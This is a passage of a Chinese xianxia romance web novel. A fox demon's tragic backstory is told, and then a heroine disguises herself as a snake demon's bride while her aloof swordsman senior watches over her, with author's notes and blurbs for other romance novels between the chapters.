伏雪剑并没有收住势,反倒是一寸寸埋进妖狐的后脊,将两具尸体尽数贯穿,打散了妖狐最后一点凝聚起的妖气。 那一团妖气散开,浮出好几缕魂魄,都是被七尾妖狐吞噬的镇民。如今他们的魂魄得救,能够遁入轮回,转世投胎了。 妖狐再也没有力气了,她从来没有受过这么重的伤,身体这么疼过。 妖狐苟延残喘,她趴在男人的尸体上,小声哭泣,掉起眼泪。 她完全顾不上自己身上的伤势,反倒是盯着男人腰腹干瘪瘪的大窟窿,心疼到不能自已。 “我夫君、我夫君太破了,现在补不好了…….她说完这句话,气息渐渐弱下去。 妖狐的灵台白芒大作,将一个娇媚的女子变成了一只巴掌大的小狐狸。 妖狐并没有灰飞烟灭,尚存一魄在世。 但江暮雪素来不会对妖物留情,他并不会给小狐狸留下生机。 江暮雪还要提剑再刺,却不料,这一回有金光袭来,格挡开元婴修士的杀招,护住了那一只孤零零的狐魂。 柳观春惊讶地问:“那是什么?” 江暮雪半阖凤眸:“是修士残留于世的神识………是个结婴的大能。”话落,眼前的男尸倏忽碎成粉末,从躯壳中挣脱开来的,是一缕修士的游魂。 是个剑眉星目的剑君,修为高深,只可惜,他早已陨落。 剑君长袖一扬,将那只小狐狸收入袖中。 随后,他朝眼前的两位小友一拜:“因我贪恋人间,不肯散魄于世间,倒教桃娘做出这样丧尽天良的事,害死了那么多无辜的镇民。我与桃娘罪孽深重,此番入阴司,自有天道来惩,还望小友们放桃娘一条生路。” 江暮雪默不作声,不置可否。 反倒是柳观春好奇地问:“她吃人,全是为了你吗?” 剑君叹息,他捻诀化开一片光幕,将往事逐一放映给柳观春看。 在光幕中,柳观春看到了剑君的过去。 原来,这位剑君是道宗的剑修弟子。 他自小与另外一个灵修世家结下娃娃亲,而那位未婚妻却无心成婚,修的是无情道。 未婚妻天赋异禀,不过入道百年,修为节节攀升。在渡劫那日,她为了同天道证明自己道心坚毅,竟故意诱来剑君,当着天道的面,一剑刺进剑君的心脏,以他的血液祭道,引来升阶的劫云。剑君没有等到未婚妻修满无情道的那一日,反倒是被妻子利用,成了诱来劫云的祭品,丧命于荒山之中。 剑君好歹是元婴大能,他心腑虽碎,却还能强撑上几日。 那几日,他在山中独行,遇到了一只初初化形的小狐。 小狐天真烂漫,满脑子都是妖族前辈们灌输的情爱故事。 她一直想着,总有一天,她会下山,撞见自己的情郎,然后两人一同修炼,在山中逍遥快活地过日子。 可她没等到情郎,只等到了一个奄奄一息的剑君。 小狐认定剑君就是自己的情郎。 她告诉剑君,她叫桃娘,如今已经是生出六条尾巴的大妖了,往后跟着她吃香喝辣,日子很快活的。 剑君只是笑着,没有多说话,他知道自己时日无多,即便遇到一只小妖,也算是缘分,何必多加苛责。 可桃娘却看出了剑君的伤,她一心想救活剑君。 毕竟桃娘是一只十分护短的大妖怪。 桃娘为了得到复生的仙草,特地去挑衅幽冥的大妖,最后当然落得惨败而归的下场。 她浑身是伤,鼻青脸肿地趴在剑君身边。 小狐狸一边倔强地舔舐伤口,一边和剑君自证:“我一点都不弱的,我只是没有磨锋利我的爪子,等有下次、下一次,我一定要她好看!哦,这些伤都是摔的,斯……一点都不疼!”可是,桃娘知道,她想打败那只大妖,估计还得百年修行。 只是她的夫君等不了那么久。 剑君一声叹息,他看出狐妖的内丹受损,恐怕又跌下几十年修为。许是心肠太软,剑君还是将自己仅剩下的灵力渡进了桃娘的身体。 剑君一天天哀弱下去,终于有一天,他对桃娘说:“春日来临了,洞外的桃花开得很好,你去折一枝来,与我共赏吧?” 桃娘为了守着剑君,已经好些时日没有出洞穴了。她是娇媚的狐妖,最爱打扮,最爱漂亮衣裙,可洞中黑漆漆的,她连衣布的颜色都分不清。 桃娘想着,剑君想看花,一定是快要好起来了。 她要去折最漂亮的一枝花给他看。只是,当桃娘抱着一捧香味馥郁的山桃花回来。剑君已经陷入了沉默。他口不能言,他快要死了。桃娘想尽办法救他。 有时是取人的阳气,有时是抢妖物的内丹。 直到剑君一动都不能动了,桃娘又用傀儡丝缠住他的手脚,将他托起,让他姿势古怪地陪着自己在山中漫行。即便剑君已经身殒,但桃娘还是觉得,终有一日,她会唤醒剑君,他们会拜堂成亲。她那么喜欢剑君,她不修无情道,她不会把剑刺进剑君的胸腔,她会陪着他一直到老。虽然桃娘不知的是,剑君死于无情剑之下,剑骨剔除,灵台尽毁,他不可能活过来。就算桃娘再等上成千上万年,她也穿不上那一身嫁衣,见不到自己的夫君。 …… 柳观春看着剑君的身影慢慢幻化成萤火虫。 小狐狸从男人的袖子钻出来,好奇地打量人间。 随后,她像是被江暮雪吓到,又急急退后两步,蹦蹦跳跳跟在剑君的身后。 许是嫌它走得太慢了,剑君止步,顺手捞起小狐狸。 一人一狐就此消失于虚无冥道之中。 桃娘一死,这一栋藏满人骨的屋子没有妖气维持,摇摇欲坠。 江暮雪最先觉察到屋舍崩塌,情急之下,他又是伸手,将柳观春迅速地拎出了荒屋。 柳观春跌进草浪里,她狼狈地拍开脸上的草叶,亲眼目睹那一座高大的屋舍轰然坍塌,变成一地人骨废墟。 柳观春心有余悸地拍了拍胸口,她想到剑君残存的记忆,忽然仰头,望向白衣翩翩的江暮雪。 她看着他眉心那颗绝情的守元痣,见他剑气浩然如霜,即便听到这样悲情的故事,面上也无丝毫动容之色。 柳观春忍不住问:“师兄,你们无情道都是这样断情绝爱,为了证道,甚至不惜弑夫杀妻吗?” 江暮雪难得被人问倒,他抿了下寡情的薄唇,沉声:“……不杀。” 因他道心坚毅,永远不会误道,更不会……有妻。 作者有话说 ?显示所有文的作话 感谢小天使们的5个霸王票、268瓶营养液~ 么么哒,谢谢大家来陪我呀,掉落40红包,希望宝宝们明天还在。 江师兄,万事留一线日后好相见,话别说得太满哈[狗头] ====——==== 推荐我朋友好看的新文么么哒! 《替姐姐嫁入宅门的第四年》作者:一枝嫩柳 卫家府第败落,嫡姐另攀高枝以后,为周全里外的面子,家中不受宠的吟鸾被迫接手了她和卫家的姻缘。 替嫁的第四年,卫家门第日渐兴旺势头猛涌,长姐攀附的高门婚情却不顺意。 逢春三月,母亲父亲领着和离归家许久的长姐登了卫家门,叫来吟鸾, “这门亲事本就是你长姐相让于你,如今你占了四个年头也该还给她了。” 本就不喜吟鸾婆母收了好处,也用施舍指点的语气道,“你入我们卫家门多年没有身孕,你姐姐愿意帮着开枝散叶是你的福气。”小姑往日里便与长姐交好,如今自然站她那头。 原以为还有她朝夕相处多年的枕边人能否了这事。可自打长姐进门,卫如琢的目光总有意无意落到长姐的身上。 吟鸾唤了几声不见他应,是扯了他袖子,方才见他回神。可他也叫着长姐闺名,“沉檀说她不争大房,只为平妻,你看……” 怔顿的吟鸾瞬间哑然,这门由她填补才得圆满的姻缘,如何怎么全成了她在为难? 她在卫家汲汲营营的这几年算些什么? 到这一刻,吟鸾方才顿悟,不论亲缘抑或情爱,纵然她再低入尘埃,也难以奢求一丝爱重。 千言万语化为悲戚乌有,良久她才垂眸,轻声道,“既然如此,那便和离吧。” * 卫如琢眼里的祝吟鸾,虽娴静温婉却过于怯懦,年岁小得没有一丝鲜气活,更不懂得任何情爱欢意。 她纵然安分贤良,美得出尘,在他眼里始终带着木讷的呆板。 所以在她提出和离之时,他虽诧异却也没放在心上只当是气话。女子和离之后难以再嫁,娘家不喜又不容,过不了一些时日她便会哭着回头。没想到,这一等,竟等来了她再许良人的消息。 他神色铁青,面目狰狞看着刺目喜帖之上的男人名讳。 那是位列高门之首,人人不敢与之得罪的天子近臣。 * 沈景湛出生便贵为侯府世子,年少高中被提拔到御前,惊才绝艳之下又是一副玉郎长相,如此天之骄子,世间之物与他而言唾手可得。唯一失意便是心尖喜爱的姑娘早早便嫁了人。 但嫁了又如何?祝家长女拜高踩低,卫家儿郎贪得无厌…… 隐忍多年,蛰伏已久的沈景湛晃着杯中酒水,修长指骨摩挲着珍藏多年的少女小像,垂眼掩下眸中的阴深暗沉。 * 成亲之后的吟鸾偶然得知,她再嫁的如意郎君并非表面那样的温润如玉,清朗无害。 卫家门第攀升是他做的,长姐和离亦与他有关,就连她和他的每一次相遇都并非偶然。 这铺天盖地的一张密网,处心积虑所有的一切,根本是为抢夺她而来。 【凭何后来者居上,因为他又争又抢还会伪装】 阅读指南: 清冷矜贵(bushi天之骄子vs柔美娇怯小官之女 女非男处|女主视角先婚后爱,男主暗恋多年蓄谋已久|前夫全员火葬场 男主只对女主纯良无害温润如玉,对外杀人如麻不近人情。 16、下山(六)... 第十六章 邪修被肃清,但当地百姓还不知此事,想来还得发酵上几天,他们才会知道危机已除,敢开门见客。 柳观春抖了抖沾泥的裙摆,她抬头,环顾四周,到处都是郁郁葱葱的杂草,远处的高山浸在幽蓝色的夜常里,漆黑如墨,像一幅泼墨挥就的写意丹青。 山野静谧,薄暮冥冥。 柳观春问:"师兄,现在我们去哪儿?" 江暮雪淡看她一眼,又挥动衣袖,一根卷轴从他的手中浮出,是那一张标记魔气的地图。 光幕透明,悬浮空中,每一个地点都散布金光。 柳观春踮脚去望,发现马兰镇上多了一个圈的标记。 这个红圈意味着此地伏魔成功。 不少弟子会时不时刷新卷轴,观察其他队伍的进度,当他们看到魔气浓郁的马兰镇都被人在一天之内诛灭,不由愣在原地。 无数纸鹤浮上卷轴,一句句追问的话从信纸里浮出。 “谁啊?这么强!” "应该是大师兄吧?他每次伏魔出手都快狠准。" “大师兄今年和人组队了吗?” “没有啊,没听说啊………算了,赶紧赶路吧,我们这里的魔物都是夜猫子,熬夜熬得我头疼。” “靠,那里本来是我们的地盘,难道那个邪修很好对付?” “唉,换了一个镇子反倒更惨,都是色鬼,队伍里又没有女修,还得温师兄男扮女装去色诱。” "白轩你闭嘴,再把我的事情说出来,有你好果子吃。" "(白轩已自行断开灵阵。)" 一道道传音纸鹤在地图上爆开,弟子们七嘴八舌地讨论,热闹非凡。 这是柳观春从来没有体验过的和谐情形,原来师兄姐们私底下也会打闹嬉笑,也像少年人一样插科打诨,互开玩笑。柳观春看到他们讨论白衣师兄伏魔的速度很快,一股自豪感在她心中油然而生,她很想告诉众人:“不是江暮雪师兄杀的魔物,是江瑜师兄,他是 很厉害的无情道剑修!”但她戳了戳自己掌心的粉鹤,心想:万一她发出去的信纸没人回复,还让其他人知道白衣师兄和她组队,会不会连累师兄也被遭人排挤?思及至此,柳观春击掌,拍碎了纸鹤,又把信纸默默收回去。 江暮雪不知她在犹豫什么,问了一句:“你想传信?” 在江暮雪眼里,后辈们都是年幼的小孩子,爱闹爱笑实在正常,他如今更改样貌,也隐匿了气息,即便柳观春想要对外炫耀取得魔核一事,也无不 可。 可她做事谨小慎微,就连发一句话也要再三考虑。 柳观春感叹师兄观察入微,但她不想让白衣师兄知道原来自己在宗门里不招人喜欢,生怕师兄也疏远她。 于是柳观春笑道:“我不想传了。” 江暮雪低声问:"为何?" 柳观春想了一个极其友善的借口:“因为江师兄很厉害,我不想让旁人知道。若是他们都知你有神通,求着要进队,我就不能独占师兄了!” 柳观春自认这句话说得俏皮可爱,还带一些急智,定能博得师兄好感。 可江暮雪听了,却是微微一怔。 他细细分辨柳观春话里包含的私欲,良久无言。 今夜,柳观春还是没有在外留宿,她见江暮雪往下一个魔气浓郁的城镇虚虚一点,两人又有了前进的目标。 江暮雪要彻夜赶路,他的凡体已经超脱世外,除却无情无欲,更难以感受寒冷或劳累。他不觉疲惫,柳观春昼夜不停却有点吃不消。 但她不想拖后腿,强迫自己打起精神御剑。 江暮雪看着那一把飞得歪歪斜斜、忽上忽下的竹骨剑,他很怕柳观春没忍住困,打起瞌睡,继而直接摔进湖里。 凡修的肉身脆弱,她又堪堪筑基,伤筋动骨都得躺上几天,若是受伤重了,没能及时修复经脉,唯恐还会损伤寿元。 捏了怕碎,揉了怕乱,实在是……娇气的东西。 也是担心自己不能看顾师弟师妹,江暮雪从来不带人组队,只静静做事,观察战局,最后再将那些弟子们难除的魔物一网打尽。 可江暮雪虽人情淡漠,但他处事素来周到妥帖,既把人带出来,自然要全须全尾带出去。 思及至此,他又是振袖,并指驱出一个光球,那个结霜的雪球渐渐变大,又生出一条冰晶锁链缠在男人清耀的腕上。 江暮雪虚握着牵绳,任由光球将柳观春整个裹进去。柳观春御剑术还不够娴熟,她困得很,又不敢抱怨。幸好江暮雪行在前面,并没有发现她强打精神,下巴一点一点地犯困。可没多时,一个暖洋洋的光球将她容了进去。竹骨剑恢复成寻常大小,缠上柳观春的细腰。 她跪在那个软绵绵的雪球之中,双手抵在球面上。球体是透明的,柳观春能看到外面的风景。她注意到球身还有一条锁链,细细的 条,直连到江暮雪白皙的腕上。 “师兄?”柳观春不解。 “睡吧。”江暮雪侧眸,长睫轻动,没多看她。 柳观春遥望师兄的背影,心中无比沮丧,低下头:“是我修行不精,身上还带着凡人的浊气,还能感受到饥渴劳累,我会好好修炼,往后决不会拖累师兄!”修行一事本就不可贪多图快,按部就班修炼便是。而柳观春虽说已经修炼二十多年,但她这点年岁,在修士求神问道的漫长岁月中,不过沧海一粟。江暮雪并不想她过于压榨自己,他想了想,温和地道:“你这个年纪,本就该多睡一些。” 这话听在柳观春耳朵里,颇有些老气横秋之感。入道之后,修士们再不会按照人身寿元来计算年龄,只按照境界高低来区分尊卑。柳观春以为白衣师兄会将她当成后辈来看,如今她察觉他好像完全将她看成一个乖巧懂事的小孩子。难不成………她的修为真的太低了?白衣师兄压根儿没将她视为可以并肩作战的战友?柳观春灰心丧气。师妹忽然不出声了,江暮雪心中疑窦从生,他回头,见柳观春一动不动,只当她睡着了。可见是累了。 江暮雪又并指打出一道法印,将透明的光球盖上了白布,为柳观春遮光。 雪球暗下来,柔软的球体被风吹得摇摇晃晃,好似摇篮一般。 柳观春原本还能凝神看路,可光线一旦消散,她被晃得发懵,困意兜头袭来,渐渐陷进黑暗。 等她再次醒来,已是三个时辰后的事。 一夜过去,天色已微微发白,远处的田埂长着一蓬蓬艳红腊梅,空中飘着小雪,可她的发上未沾丝毫,明显是江暮雪用本命剑帮她挡下了霜雪。柳观春爬起身,往身上施了个清洁术后,又理好发髻,挪向一侧打坐调息的白衣师兄。 柳观春问:“师兄,这里就是地图上魔气缭绕的清溪镇?” 江暮雪:“是。” 柳观春打起精神,她将竹骨剑背在身后,又从藏宝珠里摸出两个干巴巴的烘饼。 她将其中一个递给江暮雪:"师兄吃吗?" 江暮雪摇头。 柳观春知他辟谷,也不强求,只递给他一个装水的囊袋,“师兄,你喝点水吧。” 这一次江暮雪倒是接下了。 没等二人走进镇子,一名老汉便拄着拐杖走来。 "二位是修士吧?" 柳观春和师兄对视一眼,问老人家:“您怎么知道?” “小人见两位风雪不侵,又是白衣白冠,器宇不凡,定是剑宗的弟子。小人家中遇妖,求两位发发善心,救救我的孙女!”老大爷弃了树根拐杖,作势要给他们跪下。没等老人双膝着地,江暮雪抬手打去一道剑影,搀住了他。 "除魔卫道本就是修士分内之事,您无需多礼。" 老大爷见这位剑君面容冷肃,衣袖剑光粼粼,自是知道自己遇到高人,他也不再耽搁,忙将两位剑君往镇子引。 路上,江暮雪一贯沉默寡言没有出声,倒是柳观春充分发挥她解语花的能力,几句话就从老者口中了解了来龙去脉。 原来,清溪镇景色秀美,灵力充沛,一直以来都受地仙庇护,鲜少有大魔踏进这一片净土。 可就在一个月前,不知哪来的蛇妖忽然闯进清溪镇,强占女子为侍妾。 蛇性本淫,此蛇又因有百年修为,更是宣称自己能夜御数女,祸害了不少女子。 今晚就是老人家的孙女要出嫁为蛇妻的日子,他心疼孙女要落入魔巢,想求两位剑君救下孙女。 柳观春道:“我们是下山降魔的玄剑宗弟子,不会在镇子上停留太久,若是这只蛇妖听闻修士除魔的动静,不肯出面,那就麻烦了。不如这样,我顶替你孙女嫁进蛇巢,我师兄在旁策应,届时我们联手,定能降服这只妖邪。” 老大爷见柳观春以身涉险,心中愧怍难当,连连道:“剑君万事小心,那只蛇妖道行高深,可不要着他的相了。” 柳观春信心满满:“放心吧,有我师兄在,区区蛇妖不在话下!” 她说得豪情万丈,但实际上还是有点脸红,毕竟她借的是白衣师兄的势,也可谓是狐假虎威。 江暮雪倒没想那么多,他只漠然地看了柳观春一眼。 原来他在师妹心中,竟修为高深至此,连性命都可托付。 倒是夜里,柳观春出师末捷,先遇上第一道难坎儿。 她既然要扮作蛇新娘,势必得穿上那一身鲜红嫁衣,再戴上红彤彤的花盖头,挡住口鼻,迷惑蛇妖。 柳观春也不算第一次穿嫁衣,只是从前在江暮雪的梦境里,有村子里请来的妆娘帮她穿衣上妆,没什么难点。如今让她自己来套这里三层外三层的嫁衣,便有点手忙脚乱。 屋外,轿夫已经吹响唢呐,提醒午夜吉时莅临,他们要催促新娘子快点上轿出发,而老大爷和孙女则在家中静候他们凯旋,荒宅里没有女子能够帮 柳观春穿衣。 柳观春已是入道的修士,修炼者讲究超脱肉身苦难,身躯不过是一具白骨皮囊。况且,柳观春还是现实世界穿来的,她其实并不在意古代的男女大防……实在穿不上,也只能找师兄帮忙。 想到这里,柳观春手里团巴团巴折出一只粉鹤,吹了一口灵气,命它去寻江师兄。 江暮雪被那只纸鹤召来,房门推开,他看到了眼前这一幕— 大团的红绸嫁衣披在柳观春的身上,几层绸布被腰带勒紧,勾出纤细的窄腰,偏偏她不得要领地拉扯衣袍,顾得了这边,忘了那边,就此女孩白皙的肩头滚出外袍,连带着最里侧的肚兜细带都垂至肩窝,紧贴在莹润的颈骨,留下窄窄的一道红。 江暮雪的目力敏锐,不过一眼,立马收回辨别外物动向的神识。 他闭上双眼,眉心的守元印颤了颤,明灭一瞬。 柳观春为了搭配嫁衣,特地梳着单螺髻,发间簪了一朵牡丹绒花,流苏垂下来,时不时撞在她丰腴的耳珠上,发出细微的响动。 柳观春听到动静,知是师兄来了,她抬头想看江暮雪,没等下颌抬起,竟被一记来势汹汹的剑气打中肩膀,惊得她脊背发麻。 转瞬间,一股庞大的灵力硬生生将柳观春推开,逼她背过身去。 柳观春被剑气挟持,动弹不得,只能背对江暮雪。 柳观春不明所以,但她对江暮雪有一种天然的信赖,本能觉得江暮雪不会使坏。 于是,少女眨了眨眼,叹气:“师兄,我不会穿嫁衣,总是拉了这边的衣带,那边里衣又上翘……吉时将近,你能不能帮帮我?” 江暮雪良久不回答,柳观春思来想去,以为是自己此举太过冒犯。 也是,她把江暮雪当亲近之人,她和他没有忌讳,但师兄未必领她的情。 柳观春迟疑许久,心中隐隐后悔,她暗下斟酌,应该怎么不动声色将这个误会圆过去。 没等她想明白,一缕清幽冷峭的雪气陡然逼近,馥郁的松香弥漫,柳观春先是听到缓慢行来的脚步声,随后她感受到炙热的鼻息落在后颈。柳观春整个人被一抹高大的黑影笼到其中。 是江师兄。 明明是她主动寻求帮忙,可真当江暮雪靠近,柳观春又忍不住后脊发麻,腿根战栗。 柳观春刚想开口喊他,可她一低头,眼角余光却看到一只结实有力的臂骨横于身前,虚虚圈住她不盈一握的窄腰。 男人如玉白润的手背上,青筋纵横其中,如山脉蜿蜒。 柳观春莫名心跳如擂,屏住呼吸。 自此,江暮雪的指尖轻挑,竟是紧紧地勾住了她腰上的衣带…… 作者有话说 ?显示所有文的作话 感谢小天使们的1个霸王票、71瓶营养液~ 么么哒,40红包。 下一章也就是周五的,会是凌晨十二点,周六更新也在十二点,周日是晚上十一点。下周一开始照常晚八点~ 一个新文案~宝宝们喜欢可以收一下呀么么哒!《笼中雪》草灯大人双处|强制爱I高岭之花黑化 乱世年间,门阀崔家为了分散追兵,从二女间,选择了长女崔琴支应门庭。 他们将次女崔月作为牺牲品,舍下她的车驾诱敌,扬长而去。 崔月落到叛军手里,吃尽苦头,辗转五年才回到崔家。 归家时,也不过十五岁的年纪- 彼时皇权式微,千年世家谢氏当权。崔家为了站稳脚跟,卑微讨好谢氏,甚至将满腹才情的长女推出,意欲与长公子谢京雪联姻。谢京雪清矜隽秀,克己复礼,是世家贵公子典范。对于此次联姻,他无可,无不可。崔家权当默许,欢喜地将一双女儿送往谢家小住。对外声称附学,实则想要撮合一对有情人。就此,崔月也有幸住进了谢家- 崔月心知,她遗落在外多年,家人鄙薄,族亲厌弃,就连阿姐的柔善之下也带着轻贱与不屑。崔月一概受之,即便记恨,她也不动声色。 她吃尽苦头,也想让阿姐不甘一回。 于是,崔月盯上了她的未婚夫谢京雪。 阿姐倾慕长公子,那她便当个横刀夺爱的恶人。 只是,谢京雪聪慧过人,待人漠然,即便崔月使劲浑身解数,仍是不能让谢京雪侧目一回。 直到一日,崔月遭人算计,美人香汗涟涟,倒在清贵长公子的怀中。 崔月一面装哭,一面勾动谢京雪衣上细带,颤巍巍地求他垂怜。 任崔月如何引诱,谢京雪依旧如明月高悬,不为所动。 崔月羞愤难堪,决意放弃。 不日后,崔月的心计被阿姐识破,族中怕她误事,将她送往乡下,随意嫁个落魄士族,早早打发。 只是,在大婚那日,崔月没等到那个满眼都是自己的夫君。 盖头挑起,竟看到一双冷若冰霜的凤眼。 谢京雪的指骨抵上崔月的下颌,迫她抬头,温柔问她。 “月娘弃了我,是要嫁与旁人吗?” “倒是可惜,你的情夫,已被我杀了。” 崔月大惊。 此刻她才知,自己招惹上的……究竟是个什么东西。 她想逃跑,可早已来不及。 心机钓系贵女x阴湿疯批高岭之花 17、下山(七)... 第十七章 其实江暮雪并未碰到柳观春。 他不过是虚虚站在她的身后,凭神识来分辨外物,如此就能不看柳观春,却帮她系好衣带。 结婴的修士意念强大,即便不用肉眼,凭借意识也能模模糊糊地感知外物,有了这一技能,便可在深山老林中伏魔除妖,又不至于燃火点灯,惊扰到猎物。柳观春能感受到江暮雪的指尖轻擦过她腰间软肉,要触不触,像一缕穿发而来的春风,带起微乎其微的痒意。 一种酥麻感直传向尾骨,激得柳观春脑子都放空。 她双目无神,实在不知该看哪里,偏偏师兄的身量高大,挡住了所有倾泻的烛光,眼前都雾蒙蒙的。 思来想去,柳观春只能乖巧地帮忙提着裙子,手忙脚乱地给自己找些事做。 幸好,师兄很擅长穿衣一事,如玉莹润的指骨不过几番缠弄,很快便帮她系好了衣带。 衣襟合拢得严丝合缝,一点圆润肩头都不露出。 柳观春身上清清爽爽,终于不至于像之前那样狼狈了。 她被师兄身上飘来清淡雪松香味熏得陶陶然,待江暮雪后撤一步,她险些要软腿跪下。 还是师兄眼疾手快,不动声色搀了她一把。 等江暮雪收回手,柳观春不好意思地道了句:“多谢。” 她取来上妆的铜镜,细致打量了一下妆容,桃腮粉脸,是个很好看的新娘子。 柳观春满意地披上了盖头。 屋外的轿夫被蛇妖吐过一口妖气,他们的目的就是抓住新娘子再献给主人,因此柳观春不能暴露自己的面容,必须提前蒙上盖头,以防中邪的轿夫瞧出端倪。但柳观春还没有修出江暮雪那种能够窥视天地的强大神识,她被遮住眉眼,就真成了睁眼瞎,只能四下抬手摩挲,死死盯着脚下的路,一点点往屋外腾挪。但没一会儿,一只修长如竹的手递到她的红帕底下。 “扶着。”她听到江暮雪清冷的声音传来。 不知为何,柳观春的鼻翼生出一重汗,她小心翼翼搭着江暮雪的手。 师兄今日扮的是她娘家表兄,为了入戏,他没有穿白衣,特地换了一身颜色艳一些的绸袍。男人如此温雅轻柔地领着新娘子走出宅院,就好似牵着自家夫人一般。等到了轿前,江暮雪看了一眼当空高悬的血色红月,轿夫脸色青黑,远处山崖妖瘴迷离 他以术法传音,不疾不徐地问了句:怕吗?柳观春急忙也念咒传话:不怕。饶是如此,柳观春进轿的时候,还是看到一只白色的事物也跟着轿帘游了进来。没等她凝神分辨那是什么小精怪。一只折得工整的纸鹤便颤巍巍爬进她的掌心。柳观春撩起盖头,和白鹤大眼瞪小眼。白鹤“吱吱”叫了两声,钻进她的腰带,老老实实被她别在腰上。柳观春忍不住翘起唇角。这是江师兄的传音鹤,他怕她有个闪失,所以命白鹤随身跟着柳观春,也好及时给他传信?柳观春心里满满涨涨,说不上来是什么滋味,但她觉得……有师兄陪着真好。这是柳观春第一次孤身入妖洞。从前她虽住在妖域,但因她是脆弱的凡躯,对妖邪都是敬而远之,而且柳观春很会做吃食,一些受过她恩惠的小精怪会在吃完餐食后,给她留下一些妖气稀薄的术法。譬如把草庐融进山色,譬如给她的院子施加一层能够避妖的屏障………总之,柳观春平平安安活到了入道的这一天。可今日,她要持剑猎妖,要和这样妖力强大的蛇妖搏杀,甚至江师兄还不能进入妖洞及时策应,一切都只能靠她自己了。柳观春给自己鼓劲儿,像是考前疯狂复习考题一般,她时不时进入髓海,观察竹骨剑的状态,确保猎妖时,本命剑能迅速翻进掌心。“新娘子到咯!”轿外响起悠扬的唢呐声。明明是吉乐,偏偏听着倒有点鬼气森森。轿夫们声线僵硬地喊着,一递一声,声调极其高亢,像是村口问米招魂的神棍。柳观春的掌心俱是热汗。花轿里光线昏暗,唯有绯红的月色漫进来,像是被蜿蜒的血迹浸透了轿底。片刻后,轿帘被一截黑色长尾挑起,柳观春看到一根布满鳞片又柔软的触手爬进来。定睛一看,好似一条粗壮的虫子。柳观春顿时头皮发麻,但她没有畏惧,任由那条触手沿着她伶仃的脚踝,一寸寸缠上来。就在触手即将绞上她腿根的时候,柳观春忍无可忍用力拍了一下。许是很久没被人打过,触手识时务地顿了顿,停住不动了。很快,一股强劲的拉力将柳观春蛮横地拽出花轿。她耳侧生风,汹涌的山风压着她的脸吹来,把那块盖头紧紧贴在柳观春的口鼻。她的呼吸室闷,好似受了什么贴加官的刑罚,几欲窒息。身后还不合时宜地响起好几声夸张的讥笑。她听到那些轿夫欢喜地拍手,高喊着:“送入洞房!送入洞房!”等到柳观春被触手拽到地面的时候,她脸上的盖头也顺势落下。红绸之后,露出柳观春这张清丽脱俗的美人脸。杏眸剪水,檀口微启,上了近日婚礼最时兴的桃花妆,一身嫁衣打扮,灼灼其华,艳若桃李。蛇妖见了很欢喜。待洞穴里的烛光亮起,柳观春抬眼,也看清了新郎官的模样。他生得一张秀致的脸,眼尾上挑,金眸灿灿,颈子上隐有蛇鳞涌现,妖里妖气。上半人身,下半妖身,方才勾缠柳观春足踝的触手,便是他分化出去的蛇尾。柳观春自知此妖法术高深,她的真面容已经暴露,眼下只能与他搏杀,闯出一条生路。她负手于身后,召出竹骨剑。没等柳观春挥剑劈砍,一道鬼咒忽然打进她的眉心。柳观春杏眸瞪大,她感受到自己的清明灵台被一块黑布蒙住,她看不到自己的髓海、灵域,甚至是本命剑这种感觉,就好像把她的灵识从肉身中剥离……断开了她所有的护身之法。柳观春又变成手无缚鸡之力的凡人,她错愕地望向蛇妖。许是她惊讶的表情大大取悦了蛇妖,妖媚的男人游来,一点点缠紧了柳观春。他逼她靠近,长指轻轻捏住柳观春的下巴。“我早从傀儡人那里得知,今日送来的祭品新娘是个女道君,所以我事先布下了能阻止你杀夫的阵法。”“哟,可千万别哭,好好的喜日子,我不爱看人哭哭啼啼的。”柳观春没哭,她只是想着该怎么挣脱困境。没多时,她感到腰上一热,热源是那一只纸鹤传来的。也就是说,虽然她不能用术法,但是江师兄守在她身边,他修为高深,不至于被蛇妖迷惑。柳观春心下稍安,她猜测,江师兄一定是想让她拖延一下时间。于是,柳观春咬了一下唇,破开一点皮肉,用疼痛感逼哭自己。一颗颗晶莹剔透的泪珠自她的眼尾垂落,柳观春吸了吸鼻子,道:“你别这样缠着我,我就不哭了。”蛇妖笑问:"为什么?"柳观春委屈:“我怕蛇。”蛇妖:“.……”他深吸一口气:“你怕蛇,你还嫁到妖洞来?”柳观春哭得更厉害了:“我没想嫁进来,是我师兄逼我的……我们宗门每年都要找人组队下山降魔,师兄嫌我废物,不堪大用,逼我嫁进妖洞,也好助他除魔。可是,我一见夫君,心中、心中便很欢喜,夫君你长得实在是俊俏………""夫君,你救我脱离苦海吧!你杀了我师兄,往后我们两个待在一块儿,好好过日子。"柳观春知道,若是她不快点离开这里,恐怕真要成了蛇妖的新娘子,为他怀胎生子了。此处隔绝灵气,也不知师兄能不能进来。最好的办法便是骗蛇妖出去。蛇妖若有所思地盯着柳观春。柳观春抬手抹去眼泪,又娇滴滴地喊了一声:“夫君。”娇声酥软,直听得蛇妖通体舒畅。"好好,夫人,为夫这就替你撑腰去!敢欺负本尊的人,你这师兄胆子倒大!"柳观春松了一口气可就在这时,她忽然感受到腰上的纸鹤变冷了…师兄用来安抚她的热流缓缓散去。柳观春僵住了,她意识到,其实纸鹤也能用来传音与录影,或许江师兄是能看到洞穴里发生的一切事情。柳观春忙在心中默念:师兄对不起对不起!她没有背叛师兄的意思!蛇妖单手抱起柳观春,带着她往洞外游去。一旦脱离了这个被术法困住的新房,柳观春的髓海便慢慢变得清晰。但柳观春深知蛇妖的触尾还勾在她的脚踝上,只要她有任何异动,那些鳞片便会瞬间幻化钢刃,刺进皮肉,甚至能将她的腿整根锯断。柳观春不能轻举妄动,只盼着江暮雪眼明心亮,能看出她不过是虚与委蛇,并非被蛇妖的美色所惑….然而,蛇妖却已经把柳观春当成了自己的所有物,他的手不大老实,在柳观春的腰上东戳戳、西戳戳。没多时,翻出了几包粉末。蛇妖脸色不善:“这是什么?”柳观春做贼心虚:“几包雄黄粉….…”蛇妖又拽出一根带刺细鞭:“这个呢?”柳观春心如死灰:“打蛇鞭……”“这个呢?”“灭妖阵。”"这个又是什么?"“伏魔咒……夫君,你别撕,这个咒文有点贵,我花了两颗灵石买的。”蛇妖要被气笑了:“夫人,你当真爱我吗?”柳观春挺胸抬头,中气十足地喊:“自然是爱你的。”好在蛇妖的想法与常人有异,他知道柳观春之前生出除妖的想法,心里也没怎么恼怒,反倒更觉得自己颇有男子雄风,竟能用一张面皮令柳观春折服,甚至诱她反水。倒是柳观春有点着急地拍了拍腰上纸鹤。但那只纸鹤变得更冷了。难不成………江师兄生气了?柳观春第一次感到如此心累。又行了几步,蛇妖夸赞柳观春,对她道:“我瞧你真是越来越喜欢了。这样,待会儿行房,为夫便将元阳献于你,好教你事事独得我偏爱。”柳观春倒不是真对蛇妖起什么色